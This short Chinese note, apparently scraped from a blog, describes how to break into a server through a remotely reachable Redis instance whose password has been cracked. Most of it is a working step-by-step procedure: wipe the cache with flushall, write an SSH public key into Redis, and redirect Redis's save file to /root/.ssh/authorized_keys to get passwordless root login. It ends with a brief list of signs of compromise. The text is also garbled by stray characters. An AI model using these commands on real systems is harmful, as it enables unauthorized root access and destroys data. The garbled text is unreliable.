參考http://www.aneasystone.com/archives/2015/11/redis-crackit.html
當(dāng)服務(wù)器上的Redis設(shè)置允許用戶遠(yuǎn)程訪問時(shí)就存在了風(fēng)險(xiǎn)芬迄,當(dāng)外來者破解了你的Redis密碼后就可以通過Redis免密碼登錄遠(yuǎn)程服務(wù)器
- 遠(yuǎn)程登錄redis命令:
redis-cli -h ip -a password
入侵
1.入侵前準(zhǔn)備
- 本地生成公鑰ssh-key:
$ ssh-keygen -t rsa
- 加換行生成文件foo
(echo -e "\n\n"; cat id_rsa.pub; echo -e"\n\n") > foo
2.清空redis緩存
flushall
3.將公鑰寫入redis
$ cat foo | redis-cli -h ip -a password -x set crackit
4.登錄redis
$ redis-cli -h ip -a password
ip:port> config set dir /root/.ssh/ 固定位置(redis沒有創(chuàng)建文件夾的權(quán)限)
ip:port> config get dir 查看位置
ip:port> config set dbfilename authorized_keys 把文件存進(jìn)指定文件
ip:port> save
如何判斷是否中槍
- 緩存被莫名清空
- 緩存中多了一個(gè) crackit (或其他類似的)鍵
- 使用 redis 的 config get dir 命令檢查是否指向了 /root/.ssh
- /.ssh/authorized_keys 文件有被篡改的痕跡
- 服務(wù)器上運(yùn)行著不明進(jìn)程